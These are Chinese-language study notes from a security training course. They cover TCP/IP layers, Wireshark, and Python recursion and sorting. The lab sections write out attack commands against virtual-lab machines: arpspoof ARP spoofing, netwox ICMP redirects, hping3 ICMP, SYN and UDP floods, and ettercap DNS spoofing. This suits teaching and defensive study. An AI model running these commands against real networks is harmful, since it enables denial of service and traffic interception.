本周重点
①TCP/IP五层协议
1、数据链路层(ARP协议和攻击/欺骗)
2、网络层(Ipv4协议,ICMP协议和攻击/欺骗)
3、传输层(TCP协议和特性/攻击, UDD协议和特性/攻击)
4、应用层(DHCP协议,DNS的协议和攻击,HTTP协议)
②Python代码
1、递归
2、排序(冒泡,归并)
本周主要内容
DAY1 TCP/IP五层协议(数据链路层/网络层)
①Wireshark的安装和使用
winpcap(Npcap)需要安装
②数据链路层(基本作用)
封装成帧
数据链路层的报文格式:
差错校验:
FCS
发送端发送的数据帧:01010001【11】接收端:00110001【11】【11】
可靠传输:
通过交换机有线连接的方式,可靠传输一般交由上层处理。
③*数据链路层(ARP攻击和欺骗)
ARP:属于网络层,作用:根据IP找mac。
ARP攻击
虚拟网络环境
#更新kali的工具包 apt-get install dsniff #发起攻击 arpspoof -t 靶机ip地址(这里是【杨】) 网关ip地址 arpspoof -t 192.168.100.134 192.168.100.2 #linux查看ip信息 ip addr
**完成攻击后,靶机没有办法上网。
抓包测试,会发现很多李的报文。
排查:
#查看mac表arp -a
解决:
使用静态绑定(mac地址 和 ip地址)
ARP欺骗
开启转发命令(kali)
echo 1 >> /proc/sys/net/ipv4/ip_forward
关闭转发
echo 0 >> /proc/sys/net/ipv4/ip_forward
区别
ARP欺骗:被攻击者没有感知;
ARP攻击:断网。
④网络层(Ipv4协议)
IPV4协议
报文内容
版本(version)
分成4和6
头长度(header length)
一般是20个字节(20 bytes)
区分服务(DSF)
可以不用管,因为现在一般没有用到
总长度
标识
为了区分是否是【同一个】数据
标志位:
第一位暂时不用管;第二位:不需要切片(0=需要,1=不需要)第三位:是否有更多的切片(0=没有更多,1=有更多)
TTL:
不是指时间,而是剩余的跳数;一般Linux最多的跳数是64,windows的是128;为什么需要TTL?防死循环。
Protocal(协议):
传输层的协议
check sum:
验证用的
目的IP地址和源IP地址:
IPV4协议里的源IP和目的IP地址是不会发生改变的。
段偏移
数据太大的时候,会对数据进行分段,该字段指的是分段后的原数据的偏移位。
DAY2 TCP/IP五层协议(网络层/传输层)&Python(递归)
①*Python代码(递归)
求阶乘
n = n*fact(n-1)
对一个数字的每一位求和
sum_digits = sum + sum_digits(n//10, n%10)
判断奇偶性(不同函数之间的递归)
is_even: 调用is_odd(n-1) is_odd: 调用is_even(n-1)
同一个函数多次递归
fib(n) = fib(n-1) + fib(n-2)
求方法数
partition_counts(n, m) = partition_counts(n-m, m) + partition_counts(n, m-1)
②网络层(ICMP协议)
ICMP协议
监测网络是否可用。
报文分析
Type:Code
TYPE | CODE | 含义 |
---|---|---|
8(回显请求) | 0 | 正常请求 |
0 | 0 | 正常响应 |
3(不可达) | 0 | 网络不可达 |
3 | 1 | 主机不可达 |
3 | 3 | 端口不可达 |
5(重定向) | 0 | 网络重定向 |
5 | 1 | 主机重定向 |
11(超时重传) | 0 | 数据包的TTL=0的时候,还没有到达目的地 |
重定向作用
③*网络层(ICMP攻击和欺骗)
ICMP欺骗(重定向试验)**
准备两台机器:
kali:100.181靶机:100.134
kali
apt-get install netwoxnetwox 86 -g 假网关地址 -i 真实网关
*ICMP泛洪攻击(FLOOD,DDOS)
大量的ping对靶机进行攻击
hping3 -1(ICMP) -d 数据包大小 --flood 目标机器的ip
虚拟机桥接模式设置
④*传输层(TCP协议)
概述
传输层的协议主要是两个,TCP,UDP。TCP是可靠的,UDP是不可靠的。
TCP特性
可靠;流量控制;拥塞控制(全局);连接管理;区分服务(通过端口进行区分)
和UDP对比
TCP | UDP | |
---|---|---|
连接性 | 面向连接(有连接) | 无连接 |
可靠性 | 可靠 | 不可靠 |
首部占用空间 | 大 | 小 |
传输速率 | 慢 | 块 |
应用场景 | 浏览器,文件传输,邮件发送 | 直播,视频,游戏(以前的游戏,现在的没试过) |
应用层协议 | HTTP,HTTPS,FTP,SMTP,DNS | DNS |
为什么需要三次握手
过程
客户端发起连接,随机的分配一个端口号(TODO,端口号的范围补充),这个端口号是用来和服务器进行通信,建立连接后,服务器再分配一个端口号和客户端进行通信。
报文格式
SEQ和ACK(三次握手报文)
测试网页:www.china-ef.com
DAY3 TCP/IP五层协议(传输层)&Python(排序)
①*Python代码(排序)
线性查找:
7, 18, 19, 100, 130, 300, 500, 501, 1321,........n
如果数字是N条,那么最坏的情况就需要计算N次,
时间复杂度: 数据量是1000,也就是说n=1000,O(800万)=800万,O(n)=n
二分查找
7, 18, 19, 100, 130, 300, 500, 501, 1321
我们要找的是:1321,先看中间的数字开始找
如果,数组的长度是N,那么:O(N)=log2(N)
代码实现
def binary_search(arr, left, right, x): mid = (left + right)//2 if (arr[mid] == x): return mid elif arr[mid] > x: return binary_search(arr, left, mid-1, x) elif arr[mid] < x: return binary_search(arr, mid+1, right, x)
注意,可以用 二叉树代替数组。
ps.计算机三基:体系结构(提过),操作系统(偏重),数据结构和算(重点),网络(重点)。
排序
无序:130, 18, 7, 19, 100, 300, 500, 501, 1321;
假如排序的时间复杂度:O(N)=N^2
冒泡排序
代码
def bubbleSort(arr): n = len(arr) # 遍历所有数组元素 for i in range(n): # Last i elements are already in place for j in range(0, n-i-1): if arr[j] > arr[j+1] : arr[j], arr[j+1] = arr[j+1], arr[j] arr = [64, 34, 25, 12, 22, 11, 90] bubbleSort(arr) print ("排序后的数组:") for i in range(len(arr)): print ("%d" %arr[i]),
时间复杂度是 O(N)=N^2
归并排序
原数组 = [5, 4, 1, 8, 7, 2, 6, 3]
a = [1, 4, 5, 8]
b = [2, 3, 6, 7]
步骤:
a = [4, 5, 8] b = [2, 3, 6, 7] C = [1, ] a = [4, 5, 8] b = [3, 6, 7] C = [1, 2, ] a = [4, 5, 8] b = [6, 7] C = [1, 2, 3, ] a = [5, 8] b = [6, 7] C = [1, 2, 3, 4, ] a = [8] b = [6, 7] C = [1, 2, 3, 4, 5, ] a = [8] b = [7] C = [1, 2, 3, 4, 5, 6, ] a = [8] b = [] C = [1, 2, 3, 4, 5, 6, 7] a = [] b = [] C = [1, 2, 3, 4, 5, 6, 7, 8]
伪代码
def merge_sort(arr, left, right): mid = (left+right) //2 merge_sort(arr, left, mid) merge_sort(arr, mid+1, right) merge(arr, left, mid, right)
归并排序代码(选择)
#a = [1, 3, 5, 7] #b = [2, 4, 6, 8] #C = [1, 2, 3, 4, 5, 6, 7, 8] #arr = [1, 3, 5, 7, 2, 4, 6] def merge(arr, left, right, mid): n1 = mid - left + 1 n2 = right - mid LEFT = [0]* (n1) RIGHT = [0]*(n2) #把旧的数组的值给一个新的数组(左边的小数组) for i in range(0, n1): LEFT[i] = arr[left+i] # 把旧的数组的值给一个新的数组(右边的小数组) for j in range(0, n2): RIGHT[j] = arr[mid + 1 + j] i = 0 j = 0 k = left #核心操作,把两个数组合并到一个大的数组里面 while i < n1 and j < n2: if LEFT[i] <= RIGHT[j]: arr[k] = LEFT[i] i = i+1 else: arr[k] = RIGHT[j] j = j+1 k = k+1 # 处理第一个数组剩余的元素 while i < n1: arr[k] = LEFT[i] k = k+1 i = i+1 # 处理第二个数组剩余的元素 while j < n2: arr[k] = RIGHT[j] k = k + 1 j = j + 1 def merge_sort(arr, left, right): if left < right: mid = (left + right) // 2 merge_sort(arr, left, mid) merge_sort(arr, mid + 1, right) merge(arr, left, right, mid)arr = [5,4,1,8,7,2,6,3] merge_sort(arr, 0, len(arr)-1)print(arr) #arr = [1,2, 3, 5, 7, 4, 6, 8, 9] #merge(arr, 0, 8, 4) #print(arr)
时间复杂度(选择)
归并的时间复杂度: O(n)=n∗log2(n)
②传输层(TCP特性/待续)
流量控制(局部)
通过滑动窗口调整发送数据的大小;
滑动窗口在客户端和服务器端都有,窗口要一致。
拥塞控制(全局)
为了做全局的控制。
可靠传输
累计确认
最后一条数据丢失
累计确认-情况2
中间有数据丢了
三次握手
DAY4 TCP/IP五层协议(传输层/应用层)
①传输层(TCP特性/续)
四次挥手
TCP连接是双向传输的对等的模式,就是说双方都可以同时向对方发送或接收数据。当有一方要关闭连接时,会发送指令告知对方,我要关闭连接了。这时对方会回一个ACK,此时一个方向的连接关闭。但是另一个方向仍然可以继续传输数据,等到发送完了所有的数据后,会发送一个FIN段来关闭此方向上的连接。接收方发送ACK确认关闭连接。注意,接收到FIN报文的一方只能回复一个ACK, 它是无法马上返回对方一个FIN报文段的,因为结束数据传输的“指令”是上层应用层给出的,我只是一个“搬运工”,我无法了解“上层的意志”。
如果提前close,会发生以下问题:
自己要思考的问题:
1. 在close前设置【时间等待】的状态,如何避免这个问题。2. 2MSL如何设置合理(提示:2)。
②传输层(TCP攻击-SYN半连接攻击)
原因:TCP,或者UPD相关的攻击很多不如ICMP效果明显,为什么SYN,UDP泛洪会作为攻击的选项。
很多服务器会禁止ping的功能,TCP没有办法完全禁止。
步骤:
win7安装telnet服务
先用win+R,再输入,services.msc,找到telnet服务并开启:
在win7里面输入netstat -anop tcp查看23端口的连接
用kali对win7进行攻击:
第一种:普通攻击
hping3 -S -p 23 靶机地址
第二种:flood
hping3 -S -p 23 --flood 靶机地址
第三种:随机ip地址
hping3 -S -p 23 --flood --rand-source 靶机地址
③传输层(UDP协议)
UDP是不可靠传输,也就是中间丢包也不会进行重发,客户端只管发送,服务端只管接收。
报文内容
源端口,目标端口长度,checksum(检验和)数据(真实的数据)。
④*传输层(UDP泛洪攻击)
用win server 2016当做DNS服务器。kali泛洪攻击win2016,看看服务会不会挂掉。
win2016设置
关闭2016的防火墙(可以不关试试是否生效)
设置win10
把win10的dns服务器改成win2016的ip地址
netsh interface ip set dnsserver "Ethernet0" static win2016的ip地址
使用kali对2016进行泛洪攻击
hping3 -2 -d 10000(单个数据包) -c 10000(多少个数据包) -p端口号 --flood 192.168.10.133(IP)
现象
win10使用
nslookup www.woniuxy.com ##会有timeout。
ps.注意要清除dns缓存:ipconfig /flushdns
⑤应用层(DHCP协议)
dynamic host configuration protocal,动态主机配置协议,是应用层的协议,基于UDP协议,端口是68(客户端)和67(服务端)。
主机安装了DHCP的服务,就可以分配IP地址等信息。
DHCP交互过程
discover:客户端寻找dhcp服务器;
offer:服务器告诉客户,我可以提供xxxip给你用;
request:客户端告诉所有的”人”,我已经选好ip了。
ack:被选中的服务器确认,
ip地址是租用的形式,所以会有租期,租期是服务器设置。
如果租期超过一半,客户端会重新发送request请求,请求续租。
如果租期超过0.875倍,会继续发送request请求,请求续租。
如果过期,客户端会重新发送discover报文。
DHCP抓报文实验
win server 2016(ps.设置仅主机模式连接网络,要设置静态IP为DHCP网段)
这一步设置的ip设置成和vment网段一致。
开启wireshark
wireshark抓包
win10
win10设置仅主机(不能用虚拟机自带的vmnet1,并且要关闭自带的dhcp:
DAY5 TCP/IP五层协议(应用层)
①应用层(DNS协议)
什么是DNS
DNS就是域名系统,是因特网中的一【项核心服务】,是用于实现域名和IP地址相互映射的一个【分布式数据库】,能够使用户更方便的访问互联网,而不用去记住能够被机器直接读取的IP数串。通过主机名,得到该主机名对应的IP地址的过程叫做域名解析(或主机名解析)。
DNS查找过程
根域
全球由13“台”根域名服务器(美国和欧洲,亚洲只有日本一个)
Linux试验
步骤:
nslookupset type=ns . ------根据根域名服务器的域名找到ip地址--------- set type=a a.root-servers.net. -------得到了一个ip地址,比如:199.9.14.201,进入该ip地址(根域名服务器),找到顶级域名服务器--------- server 199.9.14.201 set type=ns com. -------根据顶级域名服务的ip,找域名服务器--------- server 192.55.83.30(顶级域名的ip地址) baidu.com. -------得到一个二级域名的服务器地址--------- server 220.181.33.31 set type=a www.baidu.com. -------得到一个cdn的地址------- www.a.shifen.com.
DNS抓包分析
把win2016配置成DNS服务器(操作步骤和昨天一样);
②*应用层(DNS攻击-伪装)
要准备3台电脑:
2016当作DNS服务器win10当作靶机kali当作攻击机
kali告诉win10:我是2016
kali再告诉2016:我是win10.
kali修改配置:
echo "www.woniuxy.com A 192.168.100.181" >> /etc/ettercap/etter.dns
打开ettercap-graphical:
相关命令:
-
win10清除dns缓存:ipconfig /flushdns
-
win10清除浏览器缓存
-
win10运行 nslookup www.woniuxy.com
-
win10再浏览输入的http://www.woniuxy.com
-
2016清除dns缓存(右击【dns】,清除缓存)
-
启动service apache2 start
ps.可以修改网页 cd /var/www/html >>>vi index.html (i#修改,esc :wq#退出保存)
③应用层(HTTP协议)
超文本传输协议(Hypertext Transfer Protocal),HTTP;应用层协议,用到的传输层的协议是TCP。
浏览器可以解析http协议。主流的浏览器:谷歌(edge),火狐,IE,safari,opera。
HTTP报文格式
请求头:
URL:统一资源定位符(ip,端口,文件)
请求方法:
POST:一般是提交表单,相对安全,而且对大小没有限制; GET:是体现在浏览器的地址里面,在【?】后面添加相关的内容,相对不安全,而且大小由限制。
状态码:
1XX:表示通知信息,收到了正在处理; 2XX:表示正常3 XX:表示重定向 4XX:找不到资源 5XX:服务器的错误
一般是和HTML一起用的。
HTML
超文本标记语言,如果把http当作货车,html就是里面的货物。
<html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>我的第一个html</title> </head> <body> <h1>hello html</h1> <form action="/check" method = "post"> 用户名:<input type="text"> 密码:<input type="password"> <input type="button" value="提交"> </form> </body> </html>
一般和HTML放在一起的还由CSS以及javascript。
④非对称加密的基本概念
对称加密
f(x) = x+1, g(x) = x-1
特点:
相对不安全;处理比较快;管理麻烦(n(n-1)/2);
非对称加密
如果用A_private加密,那就必须使用A_public解密;
如果用A_public加密,那就必须使用A_private解密;
特点:
相对安全;计算比较复杂,处理慢;
证书
机构颁发的,
客户端看服务器
www.baidu.com --》是安全的 www.google.com --》 是安全的 www.91xxx.com ---》不受信的
服务器会看客户端的
网银场景
摘要
把一串很复杂的文字,变成一个相对简单的字符串。
hash(嗷嗷嗷大撒大撒阿萨大大实打实) —-> dsasda12
非对称加密的过程
摘要=hash(原始信息)
数字签名=A_private(摘要)
传给Bob:
加密信息=S_key(原始信息, 数字签名, Alice的证书) 密钥信封 =B_pub(S_key)
Bob接收:S_key = B_private(B_pub(S_key))
原始信息,数字签名,Alice证书 = S_key(S_key(原始信息, 数字签名, Alice的证书))
摘要1 = A_public(A_private(摘要))
摘要2 = hash(原始信息)
if (摘要1 == 摘要2)
这个是Alice
查看Alice的证书